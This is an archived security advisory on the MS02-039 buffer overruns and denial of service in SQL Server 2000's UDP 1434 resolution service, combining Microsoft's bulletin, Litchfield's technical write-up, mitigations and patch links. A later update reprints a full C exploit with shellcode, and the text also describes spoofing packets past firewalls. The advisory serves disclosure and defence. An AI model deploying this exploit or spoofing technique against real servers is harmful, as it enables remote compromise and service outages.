25th Jul 2002 [SBWID-5553]
COMMAND
	Microsoft SQL server buffer overrun in resolution  service  -  "SQ_Hell"
	worm
SYSTEMS AFFECTED
	SQL Server 2000, and others ?
PROBLEM
	
	- ----------------------------------------------------------------------
	Title:      Buffer Overruns in SQL Server 2000 Resolution Service
	            Could Enable Code Execution (Q323875)
	Date:       24 July 2002
	Software:   SQL Server 2000
	Impact:     Three vulnerabilities, the most serious of which could
	            enable an attacker to gain control over an affected
	            SQL Server 2000 installation
	Max Risk:   Critical
	Bulletin:   MS02-039
	Microsoft encourages customers to review the Security Bulletin at:
	http://www.microsoft.com/technet/security/bulletin/MS02-039.asp.
	- ----------------------------------------------------------------------
	Issue:
	======
	
	SQL Server 2000 introduces the ability to  host  multiple  instances  of
	SQL Server on a single physical machine. Each instance operates for  all
	intents and purposes as though it was a separate  server.  However,  the
	multiple instances cannot all use the standard SQL Server  session  port
	(TCP 1433). While the default instance listens on TCP port  1433,  named
	instances  listen  on  any  port  assigned  to  them.  The  SQL   Server
	Resolution Service, which operates on UDP port 1434, provides a way  for
	clients to query for the appropriate network  endpoints  to  use  for  a
	particular SQL Server instance.
	There are three security vulnerabilities here. The first two are  buffer
	overruns. By sending  a  carefully  crafted  packet  to  the  Resolution
	Service, an attacker could cause portions of system memory (the heap  in
	one case, the stack in the other)  to  be  overwritten.  Overwriting  it
	with random data would likely result in the failure of  the  SQL  Server
	service; overwriting it with carefully selected  data  could  allow  the
	attacker to run code in the security context of the SQL Server service.
	The third vulnerability is a denial of service vulnerability.  SQL  uses
	a  keep-alive  mechanism  to  distinguish  between  active  and  passive
	instances. It is possible to create a keep-alive packet that, when  sent
	to the Resolution Service, will cause SQL Server 2000  to  respond  with
	the same information. An attacker who created  such  a  packet,  spoofed
	the source address so that it appeared to come from  a  one  SQL  Server
	2000 system, and sent it to a neighboring SQL Server 2000  system  could
	cause the two systems  to  enter  a  never-ending  cycle  of  keep-alive
	packet exchanges. This would consume resources on both systems,  slowing
	performance considerably.
	
	Mitigating Factors:
	====================
	
	Buffer Overruns in SQL Server Resolution Service:
	 - SQL Server 2000 runs in a security context chosen by the
	   administrator at installation time. By default, it runs as
	   a Domain User. Thus, although the attacker's code could take
	   any desired action on the database, it would not necessarily
	   have significant privileges at the operating system level if
	   best practices have been followed.
	 - The risk posed by the vulnerability could be mitigated by,
	   if feasible, blocking port 1434 at the firewall.
	Denial of Service via SQL Server Resolution Service:
	 - An attack could be broken off by restarting the SQL Server
	   2000 service on either of the affected systems. Normal
	   processing on both systems would resume once the attack ceased.
	 - The vulnerability provides no way to gain any privileges on the
	   system. It is a denial of service vulnerability only.
	
	Maximum Risk Rating:
	============
	 - Internet systems: Critical
	 - Intranet systems: Critical
	 - Client systems: None
	
	-Also-
	In David  Litchfield  [[email protected]]  advisory  [#NISR25072002]
	[http://www.ngssoftware.com/advisories/mssql-udp.txt] :
	 Description
	 ***********
	Microsoft's database server SQL Server 2000 exhibits two buffer  overrun
	vulnerabilities that can be exploited by a remote attacker without  ever
	having to authenticate to the server.  What  further  exacerbates  these
	issues is that the attack is channeled over UDP. Whether the SQL  Server
	process runs in the security context of  a  domain  user  or  the  local
	SYSTEM account, successful exploitation of  these  security  holes  will
	mean a total compromise of the target server and its data.
	 Details
	 *******
	SQL Server can be configured to listen for incoming  client  connections
	in several different ways. It can be configured such  that  clients  can
	use named pipes over a NetBIOS session (TCP  port  139/445)  or  sockets
	with clients connecting to TCP port 1433 or both. Which ever  method  is
	used the SQL Server will always listen on UDP port 1434.  This  port  is
	designated as the Microsoft SQL Monitor port and  clients  will  send  a
	message to this port to  dynamically  discover  how  the  client  should
	connect to the Server. This message is a single byte  packet,  the  byte
	being 0x02.
	There are other messages that can be sent to this port and these can  be
	worked out with simple experimentation.
	 Stack Based Buffer Overflow
	 ***************************
	When SQL Server receives a packet on UDP port 1434 with the  first  byte
	set to 0x04, the SQL Monitor thread takes  the  remaining  data  in  the
	packet and attempts to open a registry  key  using  this  user  supplied
	information. For example, by sending x04x41x41x41x41 (0x04  followed  by
	4 upper case 'A's) SQL Server attempts to open
	
	HKLMSoftwareMicrosoftMicrosoft SQL ServerAAAAMSSQLServerCurrentVersion
	
	By appending a large number of bytes to the end of this  packet,  whilst
	preparing the string for the registry key to open, a stack based  buffer
	is overflowed and the saved return address is overwritten.  This  allows
	an attacker to gain complete control of the SQL Server process  and  its
	path of execution. By overwriting the saved return address on the  stack
	with an address that contains a "jmp esp"  or  "call  esp"  instruction,
	when  the  vulnerable  procedure  returns  the  processor   will   start
	executing code of the attacker's choice. At no stage does  the  attacker
	need to authenticate.
	 Heap Based Buffer Overflow
	 **************************
	When SQL Server receives a packet on UDP port 1434 with the  first  byte
	set to 0x08 followed by an overly  long  string,  followed  by  a  colon
	character (:) and number a heap based  buffer  is  overflowed.  As  this
	corrupts the structures used to keep track of the heap an  attacker  can
	overwrite any location in memory with 4 bytes  of  their  own  choosing.
	This can be used to gain remote control of the processes  execution.  If
	the colon and number are missing the SQL Server process access  violates
	before the heap is corrupted as the  code  in  the  SQL  Monitor  thread
	fails to handle exceptions.
	For example the  code  calls  the  C  function  strtok().  The  strtok()
	functions looks for a given token in a string, in  this  case  a  colon,
	and if found returns a pointer to it. If the colon  is  missing  in  the
	string being searched then no pointer is returned. This is  one  of  the
	reasons why the SQL Server process  access  violates  if  the  colon  is
	missing. The code does not check to see if  a  valid  pointer  has  been
	returned before passing it to another function call, atoi():
	
	char *ptr=NULL;
	int num=0;
	..
	ptr = strtok(string,":");
	num = atoi(ptr); // ptr is used without being validated
	
	Failure to check return  values  and  handle  exceptions  leads  to  the
	process dying, leading to a simple Denial of Service attack. That  said,
	in the light of the overflows, the DoS is the least of the problems.
	 Network Based Denial of Service
	 *******************************
	When an SQL Server receives a single byte  packet,  0x0A,  on  UDP  port
	1434 it will reply to the sender with 0x0A.  A  problem  arises  as  SQL
	Server will respond, sending a 'ping' response to the source IP  address
	and source port. This 'ping' is a single byte  UDP  packet  -  0x0A.  By
	spoofing a packet from one SQL Server, setting the  UDP  port  to  1434,
	and sending it the a second SQL Server, the second will respond  to  the
	first's UDP port 1434. The first will then reply  to  the  second's  UDP
	port 1434 and so on. This causes a storm of single  byte  pings  between
	the two servers. Only when one of the servers is disconnected  from  the
	network or its SQL service is stopped will the storm  stop.  This  is  a
	simple newtork based DoS, reminiscent of  the  echo  and  chargen  DoSes
	discussed                 back                  in                  1996
	(http://www.cert.org/advisories/CA-1996-01.html). When  in  this  state,
	the load on each SQL Server is raised to c. 40 - 60 % CPU time.
	 Considerations for protection against these vulnerabilities
	 ***********************************************************
	Exploitation of these security holes goes over  UDP,  a  connection-less
	communications protocol. As such it makes  the  task  of  bypassing  the
	protection offered by a firewall considerably easier.  The  spoofing  of
	an IP address in a UDP packet is also considerably easier.
	It is trivial for an attacker to send an attack  through  the  firewall,
	setting the source IP address to that of the  target's  DNS  Server  and
	the source port to 53. Most firewalls will allow this packet through  as
	it will look like a response to a query to resolve a domain name.
	It is strongly recommended that a rule be added to  each  organization's
	firewall such that any packet destined for UDP port 1434 on the  'clean'
	side of the firewall be dropped and logged. No host, even  DNS  Servers,
	should be allowed to send traffic to this port.
	It is also  recommend  that  firewall  administrators  ensure  that  any
	packet received on the 'dirty' interface with a source  IP  address  set
	to an address on the clean side is also dropped and logged.
	 Update (20 August 2002)
	 ======
	Exploit code :
	
	/* 
	SQL Server 2000 Remote Buffer Overflow 
	           by [email protected] 
	bug found by: 
	   	   David Litchfield
	tested on Win2k SP2. shellcode Will create file \scan_sql2k_bo.
	sql server will die. so, script kiddie, dun try dis. 
	created while everyone is bz wif defcon.
	greetz to da scan clan, especially to tynon, pokleyzz, wyse and spoonfork. Alphaque and L33tdawg, thanks for the beer. Mnemonix and Mark Litchfield for lots of SQL BO examples. 
	fix: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS02-039.asp
	http://www.scan-associates.net 
	*/ 
	#include <stdio.h> 
	#include <winsock2.h> 
	#pragma comment (lib,"Ws2_32") 
	unsigned int resolve(char *name) 
	{ 
	    	struct hostent *he; 
	    	unsigned int ip; 
	    	if((ip=inet_addr(name))==(-1)) 
	    	{ 
	        	if((he=gethostbyname(name))==0) 
	            	return 0; 
	        	memcpy(&ip,he->h_addr,4); 
	    	} 
	    	return ip; 
	} 
	int main(int argc,char *argv[]) 
	{ 
	    	int s; 
	    	char buf2[350]; 
	    	struct sockaddr_in target; 
	    	int EIP = 0x78024e02;
	    	int EAX = 0x42d01e40;
	    	unsigned char forwardjump[]="\x0eb\x0a\x0cc\x0cc\x0cc\x0cc\x0cc\x0cc";
	    	WSADATA WSAData; 
	BYTE shellcode[] = ""
	"\x8B\xF1\x33\xC0\xC7\x06\x5C\x73\x63\x61\xC7\x46\x04\x6E\x5F\x73"
	"\x71\xC7\x46\x08\x6C\x32\x6B\x5F\xC7\x46\x0C\x62\x6F\x2E\x41\x88"
	"\x46\x0F\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\xB8\x6C\xC2"
	"\x01\x78\xFF\xD0\xB8\xC7\x3E\x01\x78\xFF\xD0";
		if (argc!=2)
	    	{
	        	printf("usage: %s ip\n",argv[0]);
	        	return -1;
	    	}
	    	if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) 
	    	{ 
	           printf("WSAStartup failed.\n"); 
	           WSACleanup(); 
	           exit(1); 
	    	} 
	    	s = socket(AF_INET,SOCK_DGRAM,0);
	    	if(s<0) 
	        	return -1; 
	    	memset((char *)&target,0,sizeof(target)); 
	    	target.sin_family = AF_INET; 
	    	target.sin_addr.s_addr = resolve(argv[1]); 
	    	if(target.sin_addr.s_addr==0) 
	    	{ 
	        	closesocket(s); 
	        	return -2; 
	    	} 
	    	target.sin_port = htons(1434); 
		memset(buf2,0xcc,sizeof(buf2));
		buf2[0] = 0x04;
	    	*(unsigned int *)&buf2[97] = EIP;
		memcpy(&buf2[101], forwardjump, strlen(forwardjump));
		*(unsigned int *)&buf2[109] = EAX;
		memcpy(&buf2[113], shellcode, strlen(shellcode));  
		buf2[1+96+8+strlen(forwardjump)+strlen(shellcode)]=0;
	   	if (sendto(s, buf2, strlen(buf2)+1, 0, &target, sizeof(target)) == SOCKET_ERROR)  
	        	printf("Error:  sendto() failed.\n");  
	    	closesocket(s); 
	    	return 0; 
	} 
	
	 Update (25 January 2003)
	 ======
	A worm has been hitting hard on the  internet  the  past  few  days,  it
	seems to attack unpatched MSSQL server of this bug; H D  Moore  provides
	an assembly decode and perl script of the thingy, here :
	
	 http://www.digitaloffense.net/worms/mssql_udp_worm/
	
SOLUTION
	
	Patch Availability:
	===================
	 - A patch is available to fix this vulnerability. Please read the
	   Security Bulletin at
	   http://www.microsoft.com/technet/security/bulletin/ms02-039.asp
	   for information on obtaining this patch.
	Acknowledgment:
	===============
	 - David Litchfield of Next Generation Security Software Ltd.
	   (http://www.nextgenss.com/)
	- ---------------------------------------------------------------------
	THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS PROVIDED
	"AS IS" WITHOUT WARRANTY OF ANY KIND. MICROSOFT DISCLAIMS ALL
	WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES OF
	MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT
	SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR ANY
	DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
	CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
	MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
	POSSIBILITY OF SUCH DAMAGES. SOME STATES DO NOT ALLOW THE EXCLUSION
	OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES SO
	THE FOREGOING LIMITATION MAY NOT APPLY.